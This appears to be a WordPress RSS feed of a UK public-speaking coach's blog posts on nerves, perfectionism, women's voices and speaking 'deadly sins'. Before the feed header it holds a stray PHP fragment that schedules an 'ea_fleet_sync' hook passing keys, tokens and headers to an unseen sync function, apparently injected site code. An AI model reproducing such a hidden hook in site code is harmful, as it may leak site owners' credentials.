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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Fear of public speaking Archives - Now you're talking https://www.nowyouretalking.co.uk/category/fear-of-public-speaking/ Public speaking Mon, 12 Oct 2020 20:04:00 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 Let it go and focus on the next hand https://www.nowyouretalking.co.uk/2020/10/10/let-it-go/ Sat, 10 Oct 2020 07:57:22 +0000 https://www.nowyouretalking.co.uk/?p=1309 Today is my mum’s birthday and I’m reminded of how she used to quash my inner Perfectionist; persuade me to let it go. My mum loved playing bridge and was a very good player. Sometimes she would invite me to…

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]]> Today is my mum’s birthday and I’m reminded of how she used to quash my inner Perfectionist; persuade me to let it go.

My mum loved playing bridge and was a very good player. Sometimes she would invite me to be her partner for the evening. Playing bridge was her relaxation, her fun, her time out. And I didn’t want to spoil that. Unfortunately, I was nowhere near as skilled as my mum and I made a lot of mistakes. When this happened, my Perfectionist was quick on the scene. I’d apologise. My mum would give me feedback about how I could have played the hand differently. Always warm and constructive.

I was devastated. In my head, I’d let her down and ruined her evening out. My face said it all. Sad, despondent, miserable. Suddenly, there was a kick under the table. I looked into my mum’s smiling face. She leaned towards me and said:

“I’m not going to sit and look at that face all night.”

“But I messed up. Sorry.”

“Don’t be sorry. We’ve talked about how you could have played the hand differently. Now that hand is finished. Let it go, look forward and focus on the next hand.”

“I’ll try my best.”

“Good. Enjoy yourself… And SMILE!”

Whenever my Perfectionist rears her ugly head, especially in the form of a character I call the ‘Speaker Saboteur’, I tap into my mum’s thinking and invite my Perfectionist to go and chill out with a Gin & Tonic. I try to concentrate on being present, not perfect… to let it go and focus on the next hand.

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]]> Coronavirus lessons for public speakers https://www.nowyouretalking.co.uk/2020/03/24/coronavirus-lessons-for-public-speakers/ Tue, 24 Mar 2020 17:32:25 +0000 https://www.nowyouretalking.co.uk/?p=1005 Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of…

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]]> Covid 19 is driving all of us to online meetings, seminars, conferences and many other opportunities to keep in touch with our friends, family and colleagues. However, I’ve been struck by the coronavirus lessons for public speakers based on some of the things going on in public life and slogans adopted to communicate with us and keep us all safe during these challenging times.

1. Confusing messages have no impact

Sounds obvious, doesn’t it? But over the past few weeks, the UK has received unclear, indecisive messages about what to do in the face of the coronavirus crisis. Language such as ‘should’, ‘could’, ‘might’ is indefinite and confusing. If we want people to respond to our calls to action, we need to be precise and unambiguous.

To find your clear message, start at the end. What do you want your audience to think, feel or do after they’ve heard what you have to say? If you are clear about the answer, you will be able to articulate it in about 10 words. If you can’t, you need to strip back and reduce your ideas to their very essence. In the words of Albert Einstein:

“If you can’t explain it simply, you don’t understand it well enough.”

If you can then convert your message into an anchor phrase or ‘soundbite’ that encapsulates the content of your speech and is short, rhythmic and rhymes, then you have a memorable takeaway that will make your words live on long after you have finished speaking. For example, ‘failing to prepare is preparing to fail’, ‘women’s rights are human rights’, ‘I have a dream…’

2. Expertise brings credibility

We are repeatedly being told that decisions about coronavirus are being led by science and the expertise of scientists. We are persuaded by their expertise. Aristotle told us that there are three elements to delivering a persuasive message – Ethos (our credibility as speakers), Logos (evidence, facts and figures that need to be explored), and Pathos (emotional engagement with your audience). The combination of these three is key. Consider how, for instance, the ‘facts’ of science are being infused with more emotional messages about the need for us to be responsible to save lives.

As speakers, we need to establish our credibility. This doesn’t mean that only people who have been doing it for years or are famous are eligible to speak. Indeed, time alone is often a poor reason to speak, especially if the message doesn’t evolve and reflect current challenges. Speaking is an opportunity and your expertise, experience or involvement in a project are your authority, your credibility. Make sure you or your meeting host establish your credibility from the outset and don’t forget to dress accordingly to reinforce that position.

3. Get personal and active

If you want people to pay attention to, and act on, what you’re saying, you need to make it personal. ‘You’ is the magic word. ‘You’ is inherently inclusive and individual at the same time. Its use instantly includes everyone in the audience and speaks to each person as an individual, so that they feel as if you are speaking directly to them.

Dial up the number of times you use the word. Barak Obama had this down to a fine art when it came to connecting with his listeners. In his 2012 presidential election victory speech, Obama used the personal pronoun ‘I’ 36 times. In stark contrast, he used ‘you/you’re/your’ 55 times and ‘we/us/our’ 97 times.

The official line has been passive and slow to get to the point. Phrases like “You should work from home” and “social distancing” are vague and flat. If we want people to do something, we need to give people a reason, make it personal so that they can see the benefit and speak in the more immediate and present style of the active voice. Fortunately, the world of hashtags is more dynamic, active and to the point #WFH #WorkFromHome #StayHome #StaySafeSaveLives #KeepYourDistance.

4. We will get through this!

There’s a conviction being conveyed that, together, we will overcome coronavirus. This belief is helpful when it comes to managing our nerves and building our confidence as speakers. Being nervous is completely normal and you are not alone. As Mark Twain observes:

“There are two types of speakers. Those who get nervous and those who are liars.”

Not only are nerves part of being human, speaking is a learnable skill and we can learn to channel our nerves into the energy we need to speak in front of an audience. To help us do this, I have developed the PRO apPROach to befriending our nerves:

  • Bring a sense of PROportion to our speaking, taking our foot off the panic pedal and working through what it is that frightens us; how we can prevent these fears becoming a reality and any damage limitation if they do; the costs of not speaking for our personal profile, careers, businesses, etc and the significant benefits of having a go.
  • PROgram your brain away from the adrenaline-rushing, survival, primordial response to the idea of public speaking so that you can learn to recognise it as something ’we will get through’ and, over time, enjoy. Move the spotlight onto your audience and think of yourself as giving them something of value. Try to talk about things that matter to you and your audience so that your enthusiasm shines through and celebrate your success every time you give a speech or presentation. It’s a big deal. You can think about improvements later. PROgram a ‘pat on the back’ and reduce the survival response.
  • Embrace a PROcess of incremental improvements. Start with small audiences. Practise at every opportunity. Now is a great time with all these online meetings and gatherings. Identify specific skills you want to work on and invite feedback so that the process is always one of ongoing learning and growth.

5. ‘Don’t touch your face!’ and other non-verbal signals

This is a great tip from a body language perspective. When we touch our faces as speakers, we make our audience wonder what we have to hide. Any trust we have built up will be undermined. Keep your hands away from your face and use them with purpose to reinforce your words.

Essentials of body language online include a heartfelt smile and steady eye contact. But don’t forget to maintain a good posture. It’ll make you feel more confident and send that to your audience. Similarly, if you are sitting, use an office-type chair and adopt an upright position. I see a number of people sitting forward in a chair and then they begin to sway to and fro. This makes them look nervous and is highly distracting. Similarly, if you’re standing, plant yourself firmly, soften your knees and lean slightly into the balls of your feet for additional energy. Dial down movement, when you’re online, you’re effectively on the ‘small screen’ and large gestures can overwhelm or distract.

6. In this together

Speaking at its most impactful is an outcome of co-creation between speaker and audience. It’s not about a speaker talking AT their audience, but rather having a conversation WITH them. Conversation is a two-way, negotiated experience.

At the moment, we’re seeing a lot more kindness and humanity, so now is a great time to have a go. Interact with your audience – ask them questions, mirror their body language, tap into their reactions. Invite their input on the spot and see where it takes you.

7. And a final thought… how do you stand out online when everyone has moved there?

It was already difficult to stand out in the world of social media, where so many people are creating and sharing content. Now, more than ever, you need to find ways to attract attention. Consider, for instance:

  • How you can bring a fresh twist to your content. You might adopt a different perspective or discipline. If, for instance, you’re a neuroscientist, what can a musician bring to your message (eg David Eagleman and Anthony Brandt)?
  • Explore your ideas through play and see how your message or theory evolves.
  • Tell a relevant personal story or share your personal vision.

And, of course, bring interesting vocal stylings to your delivery in terms of variety of pace, pitch, volume, pausing. If you’re in any doubt about you vocal skills, try reading a story to a child, they’ll soon let you know if you’re not up to scratch!

Now you’re talking in the time of coronavirus! I’d love to hear about the coronavirus lessons for public speakers you are reminded of at this time.

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]]> Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

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]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

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]]> Speak and claim your voice https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/ https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/#view_comments Fri, 08 Mar 2019 17:06:25 +0000 https://www.nowyouretalking.co.uk/?p=837 Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they…

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]]> Women are half the world’s population, but they are not half the world’s public voice. For myriad complex reasons from being too busy with other responsibilities to oppressing perfectionism, women are not taking up opportunities to speak in public, they are not presenting themselves as published experts and they are hiding their light under a bushel.

History tells us that women don’t have the right to speak in public. Sounds wrong, doesn’t it, especially in this day and age? But, historically, women have been systematically denied permission to speak in public and it has taken its toll.

Our right to speak in public is a product of history – public speaking is a man’s job. And it is also a product of socialisation – we raise girls to be perfect, while raising boys to be brave (Reshma Saujani, TED 2016). This lopsided situation makes no sense. It’s bad for the business bottom line, bad for equality and balance, bad for the advancement of society. It is bad on so many levels and we can all help to change this for the better.

Women have no right to speak in public

Speak - Penelope at the loom

Penelope being domestic, working at her loom

Mary Beard, in her book entitled Women & Power: A Manifesto takes us all the way back to Ancient Greece for example after example of women being told they have no right to speak publicly about anything of importance. Their jurisdiction is the things within their purview, ie the home. Beard starts with Homer’s Odyssey almost 3,000 years ago when Odysseus’ son Telemachus told his mother, Penelope, that speaking in the public forum is his responsibility and that she should return to her quarters to concentrate on her own domestic work, the loom and the distaff: “ … speech will be the business of men, all men, and of me most of all; for mine is the power in this household.”

Roll forward to 1928 and the Daily Express said that radio listeners felt women’s voices were monotonous. In 1945, the Sunday Dispatch observed that women were too emotive in their delivery. Too monotonous. Too emotive. You can’t win!

Apparently, we did not fully trust women to read the news in the UK until Angela Rippon became a ‘permanent’ newsreader in 1975.

30 years ago (8 September 1988), Punch published a cartoon by Riana Duncan that summed up this refusal to let women be heard. The cartoon depicts five men and one woman sitting in an office meeting. Miss Triggs makes a suggestion. The chairman replies:

“That’s an excellent suggestion Miss Triggs.
Perhaps one of the men here would like to make it.”

This repeated denial of the right to speak may well exacerbate the unequal presence of women in senior positions. A Cranfield School of Management report (2017) shows that women hold fewer than three in ten (28%) of directors’ seats in the boardrooms of FTSE 100 companies.

No right to speak becomes reluctance to speak

I used to be the person clinging to the podium so you couldn’t see my hands shaking, knees locked to stay upright, and my breath so shallow that I sounded as if I was about to burst into tears. When I heard male colleagues saying things like “I don’t know why you’re so frightened, I love speaking!” I felt even more like an impostor, drowning in self-doubt. Then one day, in a leadership team meeting, a colleague called Michael invited me to share some examples of how I had successfully developed a new business area. He gave me a broad, encouraging smile and I started to speak. My reward? An interested audience wanting to know more and a round of applause for my initiatives. Michael gave me the right to speak and what I had to say was of value to my audience.

Repetition is creating self-doubt

Fear of speaking

One clear result of centuries of telling women they have no right to speak in public is a learnt self-doubt about the right to be taken seriously, constantly seeking approval and acceptance. I so often hear women saying things like:

  • What right do I have to be here, taking up people’s time and space?
  • Who am I to be speaking alongside all these important people?
  • I feel really uncomfortable doing personal PR and self-promotion
  • This is doomed to fail. What if they don’t like my message?

This self-doubt manifests as fear of public speaking or that fabulous Greek word, glossophobia. A recent YouGov poll shows public speaking as the biggest fear in Britain (alongside fear of heights), for two in three adults (67%). It affects us all, but women are twice as likely as men to say they are ‘very afraid’. Young people are also more likely than their older counterparts to be afraid of public speaking, even speaking on the phone. It has serious symptoms, from pounding heart and dry mouth to brain freeze and the inability to think on your feet. And the worst symptom of all? As many as two in five adults would pass on their dream job if it meant facing their biggest fear. Is fear of speaking in public holding you back when the ability to do so is so very fixable.

Men are socialised to be brave. Women are socialised to be perfect. Look out for differences in the way (inexperienced) male and female colleagues speak. I remember attending graduate training presentations. When it was the turn of the men to present, they came across as confident and compelling in their delivery, making them more convincing and memorable. In contrast, the women generally shared clearer and more considered information, but you could feel their fear – see their hands shaking, hear their voices trembling.

Elsewhere, I have set out ways to befriend your nerves and make them work for you so that when you stand up to speak you feel assured, confident and empowered.

Speaking in public is more than ever before an essential life skill

There are so many reasons for all of us to develop some proficiency as public speakers: 

  • Getting a job and subsequent career progression. It’s not just about successfully handling the interview stage, but also the ability to speak in public usually appears high up employers’ wish lists
  • The importance of standing out from all the information that bombards us on social media
  • Showcasing your knowledge and expertise
  • Increasing your self-confidence
  • Developing and improving communication and leadership skills
  • Empowering you to effect change. In the words of John F Kennedy, “The only reason to give a speech is to change the world”. While most of us might not reach such lofty heights, we do speak to persuade, to change hearts and minds
  • And, of course, the almost inescapable major celebration where you need to say a few words – big birthday, wedding, anniversary, etc.

And for women, there is a further reason. Women have points of view that are different and merit being heard. Every time someone speaks, they take an opportunity to change how people think, feel and act. Why would we want to exclude half the world from that opportunity?

#BalanceforBetter and reclaim the right to speak – a job for us all

Ththere's no stopping me now Speak with confidence

Women in particular often tell me they get really nervous simply introducing themselves, be it in a meeting or in networking situations. The result is that they miss out. They might avoid networking opportunities. They might miss what others are saying as they worry about what they’re going to say or that other people might question their authority to speak. But it’s not just women who miss out. By taking the ‘silent’ option, we all miss out on their thoughts and ideas.

It is not a question of capability, but rather the need for support and reassurance. Public speaking is not a skill we are born with; it is a skill we learn. Women can and should support each other, but men are also vital in encouraging people to speak up. #BalanceforBetter couldn’t be more real.

In the home and the classroom

Schools are starting to offer public speaking training, but it’s far from being all schools and far from reaching all children. Public speaking is a life skill that is good for the individual and good for business. It needs to be on the National Curriculum, so that everyone leaves school with the ability to speak in public.

In addition to learning public speaking, we need to address other social issues that are holding women back in this space. For instance, socialising girls for perfection is teaching half the population to attain perfection before going public; time gobbled up by their primary responsibility as carers. Instead, we need to be showing girls that they have something of value we want to hear and showing them how to find their voice.

In the office

Leaders/managers need to think about colleagues speaking in public and make it part of their ongoing development, perhaps by building it into Performance Development. If, for instance, you have a team member who is reluctant to speak up in meetings, give them a specific speaking task in the next meeting. If you have another colleague who tends to talk too much, invite them to take on a supportive role and only speak to reinforce the views of the colleague who is learning to speak up.

At conferences and public events

We need to address the underrepresentation of women as conference speakers. Although some sectors/organisers set gender quotas for speakers, most don’t. We need to reframe speaking in public as a privilege and an opportunity – to share something we are passionate about, to increase our network, to meet new people, etc. For women, this may mean accepting invitations and seeking out opportunities to speak. For men, consider giving or sharing your invitation with a female colleague.

Don’t be afraid to ask for help. TED talks, for instance, always provide their speakers with coaching support – it’s good for the speakers and ensures their speeches are what’s needed for the event. So, if you need support, then ask for help from the organisers or find your own coach/mentor; look for opportunities to practise in front of colleagues and friends, or at a speaking club, etc.

Eradicate the urge to apologise and find more positive expressions. For instance, “Sorry, I don’t have the experience of other speakers here today” becomes “I am here to share with you the views of the younger generations”. People invite you to speak because they believe you have something important to say that is of value. If a conference organiser neglects to make it clear why they want you to speak at their event, ask them. Remember this reason and remind yourself every time any doubt creeps in.

We all need to support and reinforce each other when we speak. We all have that primeval hardwiring to be afraid (fight/flight/freeze) and to seek acceptance and approval from the group, our audience. When someone, especially a woman, speaks up in a meeting, and assuming you agree, of course, voice your support and agreement.

Pass me the microphone, please!

Speech opening - winning beginnings

Everyone has the right to speak and women, in particular, need to speak up and exercise that right. Take those opportunities to speak … in a meeting, in support of a colleague, at an event. You’ll love how good it feels when you hear the applause of an appreciative audience. Women are half the world’s population, so their opinions are important. Find your voice and personify #BalanceforBetter

Now You’re Talking!

 

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]]> https://www.nowyouretalking.co.uk/2019/03/08/speak-and-claim-your-voice/feed/ 10 Deadly sin stumbles or spectacular speaking successes? https://www.nowyouretalking.co.uk/2018/10/05/deadly-sin-versus-spectacular-speaking/ Fri, 05 Oct 2018 20:16:01 +0000 https://www.nowyouretalking.co.uk/?p=660 Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins: Do you ever feel as if your nerves might get the better of you?…

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]]> Are you a deadly sinner? One deadly sin of public speaking can wreck your best efforts to give a successful speech, never mind seven deadly sins:

  • Do you ever feel as if your nerves might get the better of you?
  • Are you guilty of ‘infobesity’?
  • Do you tend to overrun your allotted time?
  • Are you someone who never has enough time to prepare?
  • Do you wish you could speak as well as someone else?
  • Do you find yourself apologising if you make a mistake
  • Is the spotlight all about you?

As a speaker, it is too easy to commit a deadly sin when talking to an audience. Prompted by the seven deadly sins, here’s my take on seven behaviours we should try to eradicate from our public speaking and presentations and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this deadly sin is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative anxiety that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your deadly sin of ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves

Infobesity – the deadly sin of Gluttony

deadly sin of gluttony - InfobesityGluttony or ‘infobesity’ tends to manifest itself in speakers saying too much and often brings with it an unintended side effect of speaking too fast.

Saying too much

When you know a lot about something or you’re really passionate about a subject, it is tempting to want to share everything you know with your audience. But think about how long it has taken you to develop your enthusiasm and accumulate all your knowledge … Months? Years? Now compare that with the length of your speech … 10 minutes, 30 minutes, 1 hour?  You cannot realistically hope to share with an audience everything you know about a subject in such a short space of time and expect them to take it all in. It’s just too much information!

What can you do about saying too much?

The speaker’s responsibility is to define a clear goal or message and only include information that serves that purpose.  If it doesn’t support your message, remove it.

Develop a mantra – Less is Always More!

Speaking too fast

An unfortunate bi-product of having too much to say and being nervous is that we tend to gabble and speak far too quickly. We forget to breathe. We’re afraid of silence. Public speaking is not a conversation with a few mates. While a conversational style can be very appealing, giving a successful speech needs us to slow down and speak clearly.

What can you do about speaking too fast?

Slow down!

As a rough guide, I, personally, aim for about 90-100 words a minute.  There seems to be little agreement about average numbers of words per minute in conversation, but the range is generally around 130 to about 225 words per minute. We have the ability to listen at a faster rate than we can speak – some say 500-600 words per minute – but can you really absorb what is being said at that rate … and would you want to?

By slowing down, you achieve three important goals:

  • You have time to draw breath and pause. This helps you relax as a speaker and gives your audience to consider their own experience of what you are saying
  • It gives your audience time to absorb and reflect on the meaning of your words
  • You have time to strengthen the delivery of your message with powerful body language and interesting vocal variety.

Time theft – the deadly sin of Greed

Time theft_Deadly sin of greedAs a speaker, you have an allotted speaking time.  You have a responsibility to stick to your allocated time.  Overrunning is a deadly sin. It’s disrespectful to other speakers, the organisers of the event and your audience who may switch off when you talk for too long or leave the room because they have somewhere else to be.

As listeners, our attention spans are short. Some say as little as 8 seconds, less than a goldfish! While the numbers may be exaggerated, our ability to stay focused and absorb information is limited.  This is why speakers need to say less and deliver with dynamism, contrast and colour to make what you have to say interesting and memorable.

What can you do about time theft?

Manage your infobesity – remember your mantra: Less is Always More.

Be clear about why you are giving the speech and your message. Strip out all information that doesn’t directly support your message.

Have you ever heard anyone complain about a speech being too short? Prepare less content than you think you need. For instance, if you have a 15-minute speaking slot, prepare 10-12 minutes at most. Once in front of an audience, your delivery is likely to be slower and you also need to allow time for audience reactions, such as laughter.

Then practise your speech, out loud, with a timer to gauge the length. If you overrun, edit and make some cuts or add some powerful pauses to your delivery so that you keep to your allotted time, with time to spare!

Failing to prepare – the deadly sin of Sloth

Sloth or laziness is failing to prepare and rehearse, as well as failing to learn and improve.

I cringe every time I hear someone say they are ‘winging it’.  Almost invariably, the speech is disappointing. In the words of Benjamin Franklin “By failing to prepare, you are preparing to fail.” When you do this, you let down yourself and your audience.

When you practise your speech, invite feedback from your colleagues and friends. When you deliver your speech, invite feedback from your audience. These are all great opportunities to improve your speech and develop your speaking skills.

What can you do to prepare?

Failing to prepare_deadly sin of slothOur mantra is practise, practise, practise!

“But I don’t have time”, I hear you cry. Such excuses might be considered a deadly sin in their ow right! In my experience, you can usually make time, but you need to be smart about it. For instance, when you are walking to catch a bus or a train or standing in a queue, practise your opening and close. Grab a coffee with a friend or colleague and try out a couple of paragraphs on them. Practise in the shower. Practise while you’re hoovering, walking the dog or out shopping. The opportunities are endless. Find the ones that work for you.

You need to practise what you want to say (content), how you say it (word selection, body language, vocal variety) and ensuring your message is clear and memorable.  In this way, not only do you deserve the opportunity to speak, but you also show respect for your audience as the people on the receiving end. Remember, every speech you give is also a learning opportunity to help you become a better speaker.

Losing control – the deadly sin of Wrath

Outright wrath or anger is, fortunately, rare in public speakers, unless you find yourself listening to the likes of Basil Fawlty! However, instances of the deadly sin of anger can show up in a number of unwanted ways.

Perhaps the most common presentation of ‘anger’ is an apology. It is not uncommon for speakers to say sorry if they make a mistake or forget to say something; mistakes or omissions that your audience probably only noticed because you drew attention to them by apologising.

Some speakers can feel irritated and unsettled if their audience isn’t behaving exactly as they expected, eg audience members whispering to a neighbour, doing something on their phone, etc. They may also be upset with the organiser if there is an equipment malfunction.

What can you do to keep calm?

Losing control_Deadly sin of wrathRemember why you’re giving a speech – because you have something to say that is important to you and of value to your audience. It is not a memory test, so don’t worry about saying something differently from the way you practised it. No one knows except you!

Don’t let technical malfunctions annoy you and waste your precious speaking energy. These things happen. By making sure you are well prepared, know your material and have rehearsed, you should be able to deliver a compelling and engaging speech without technical support. What’s more, you will have the sympathy of your audience and the gratitude of the event organisers.

If a few members of your audience seem a little distracted, remember you don’t know what they’re doing and there’s nothing you can do about it anyway. Getting angry is no good for you or your audience. Be patient and understanding. They might be saying they totally agree with you or tweeting about what a wonderful speech they’re listening to! Focus instead on the engaged members of your audience. The others will come back when they’re ready.

I wish I could speak like that – the deadly sin of Envy

Envy is the desire to be like someone else, to have the speaking skills of someone else, like, Alex Polizzi, Barak Obama or Jeanette Winterson. This deadly sin can make us come across as unduly deferential, which can convey deceit.

What we need to do is be ourselves. As Judy Garland advised “Always be a first-rate version of yourself, instead of a second-rate version of somebody else.”

As speakers, envy can be a calamity. You need to recognise the importance of being yourself, being authentic in everything you say, the way you say it, your body language, voice, etc. If you cannot communicate authentically, audiences will know. They see the deceit and then they don’t feel comfortable, they don’t trust you.

But it goes beyond trust, you need to be authentic if you are to create powerful connections with your audience. For it is those connections that make your speeches enjoyable and memorable. It is those connections that allow your speech to touch people’s hearts and minds and have an impact on them.

What can you do to be authentic?

First and foremost, be yourself. It is you, after all, that people have come to hear. They want to know a little about you, they want to connect with you. Think about the qualities and characteristics that make you feel good about someone. To get this across in your speech, try telling relevant personal stories and anecdotes, use appropriate self-deprecating humour and don’t be afraid to show your vulnerable side.

Me, Myself and I – the deadly sin of Pride

Me, myself & I_Deadly sin of pridePride is excessive belief in your own abilities, ideas and opinions; you might also call it ‘arrogance’. Such speakers love the sound of their own voice, their own message or point of view. Because of this, they tend to speak for their own validation and they generally fail to connect with the needs and interests of their audience.

Pride may well be the most heinous public speaking deadly sin, rearing its ugly head in all the previous sins. Furthermore, focussing on ‘Me, Myself and I’ puts a huge amount of pressure on you every time you step in front of an audience. The spotlight is on you and you have to get it right. No wonder we feel nervous.

Pride will encourage infobesity, overloading your speeches with content, maybe even ‘bulldozing’ your audience and overrunning your time allocation. Pride will probably persuade you that you don’t need to prepare or practise and make you spiral out of control, all wrapped up in your own little world.

The best speakers want to share something of value with their audience, something that they care about and that will benefit their audience.  An audience always wants to know “What’s in it for me?”  A good speaker will show their audience the answer in everything they say and do on stage.  They understand that speaking is about knowing and connecting with an audience.

What can you do to banish pride?

Make your audience your focus because your speech must always be about them and never about you. By agreeing to speak, you are also taking on a responsibility to find out about your audience. You need to learn what they already know about your subject or point of view, how do they behave, what is their experience, how homogenous or polarised is the group, what will they think of your message, what’s the best way to talk to them and so on. In short, know your audience!

Imagine yourself sitting in that audience. How would you feel experiencing your speech?  Is it new information? Is it clearly structured and signposted? Do you feel comfortable? Is the delivery interesting and engaging?

Your mantra should be the audience asking “What’s in it for me?” Crucially, your job is to prepare, practise and deliver a speech that shows them.

By banishing the seven deadly sins banished from your public speaking life, you can look forward to making clear, connected and memorable speeches, which will be enjoyed by both you and your audience … not a deadly sin in the room!

 

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]]> I’m so nervous – the first deadly sin is Lust https://www.nowyouretalking.co.uk/2018/08/12/im-so-nervous-the-first-deadly-sin-of-lust/ Sun, 12 Aug 2018 18:57:27 +0000 https://www.nowyouretalking.co.uk/?p=617 The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. What are your public speaking deadly sins? Do…

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]]> The deadly sins of public speaking can completely wreck your best efforts to give a good speech. It’s important to be aware of them so that we can eradicate them from our speaking. What are your public speaking deadly sins?

Do you ever feel as if your nerves might get the better of you?

Do you wish you could speak as well as someone else?

Are you guilty of infobesity?

Do you tend to overrun your allotted time?

Do you find yourself apologising if you make a mistake

Are you someone who never has enough time to prepare?

Is the spotlight on you?

As a speaker, it is too easy to fall into some or all of these traps when talking to an audience. Prompted by the seven deadly sins, here’s my take on the first of seven behaviours we should try to eradicate from our public speaking and steps we can take to do so.

I’m so nervous – the deadly sin of Lust

Deadly sin_LustLust may manifest itself as approval seeking. Such speakers desire success, they want their audience to love them and may even criticise other speakers, exaggerate their own abilities and encourage hero worship from their listeners.

The problem with this is that it tends to result in feeling really nervous. With the desire for success comes the fear of failure. Fear and nerves are very likely to sabotage the very thing you desire.

By imposing so much pressure on yourself, it’s no wonder that Jerry Seinfeld was able to observe that “to the average person, if you go to a funeral, you’re better off in the casket than doing the eulogy”.

And if we accept the words of Mark Twain that “There are two types of speakers: those that are nervous and those that are liars”, then we probably all have a bit of lust lurking within us.

What can you do about your nerves?

Try thinking about nerves simply, as adrenaline. Adrenaline can either work with you as positive energy that you want to share with your audience or as negative nerves that can make your brain freeze and overwhelm you with fear. Ask yourself why you are really speaking. Is it to satisfy your ‘lustful’ desires or because you have something to say that is important to you and of value to your audience. The second perspective will help you befriend your nerves.

 

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]]> Even the best can be better https://www.nowyouretalking.co.uk/2018/02/28/even-the-best-can-be-better/ Wed, 28 Feb 2018 07:00:07 +0000 https://www.nowyouretalking.co.uk/?p=438 ‘Twas the night before conference when all you could hear Was the sound of hearts pounding with nerves and great fear. The deadline was looming, the paper not writ, Nor even the hint of a relevant script. The content a…

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]]> ‘Twas the night before conference when all you could hear
Was the sound of hearts pounding with nerves and great fear.
The deadline was looming, the paper not writ,
Nor even the hint of a relevant script.
The content a muddle was oh so confusing
The structure, unordered, was simply bemusing.
The message uncertain and very unclear
Oh please, inspiration, why won’t you appear?
Then all of a sudden, the ‘phone gave a ping
A message had come in from Now You’re Talking.
This coach for your speech had solutions aplenty
To write something great for the glam cognoscenti.
Together they grafted and crafted the content,
That was right for the audience at this event.
They practised delivery in its entirety:
With strong body language and vocal variety.
Some wonderful phrases enriched the confection,
While powerful stories wove a connection.
Devices rhetorical helped get it right,
A sprinkling of humour made the audience unite.
The speaker stood tall and gave satisfaction:
With clear, concise message and a strong call to action.
The audience arose for a standing ovation,
With thunderous applause for the speaker’s oration.

Speech marks

 

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]]> Speaking fear is your friend, embrace it! https://www.nowyouretalking.co.uk/2018/02/17/make-speaking-fear-your-friend/ Sat, 17 Feb 2018 10:04:23 +0000 https://www.nowyouretalking.co.uk/?p=346 When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself…

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]]> When you stand up to speak, you want to share something you care about with your audience. At the same time, you want them to enjoy the ride and leave with something they value.  Flip that around and sit yourself in the audience.  Imagine the speaker coming on stage and every inch of their being tells you they are petrified.  How do you feel as the listener?  Uncomfortable?  Worried for the speaker?  Certainly not relaxed and ready to enjoy their speech.  That was me and I’ve learnt how you can make speaking fear your speaking friend so that the authentic you can get on stage and connect powerfully with your audience.

Being nervous is normal.  As Mark Twain astutely observed:

“There are two types of speakers.  Those who get nervous and those who are liars.”

No one is born with a fear of public speaking; it is something we learn, so we can equally learn to quash the debilitating nerves and harness the good nerves, those nerves that give us positive energy and presence on stage, those nerves that help us connect with our audience.  To achieve this, we need to reprogram our mindset and make friends with our nerves.  It seems to me that we need to pay attention to five key areas.

1.  Face up to your speaking fear excuses

Befriend your nerves

Before you can make speaking fear your friend, you need to identify the emotional barriers that you put up to convince yourself that you can’t speak in public. Do you, for instance, worry …

  • I’ll be under scrutiny and be caught out
  • I’ll be a lesser person if I’m not perfect
  • I’m afraid of rejection – people won’t want to know me anymore
  • I’ll be boring
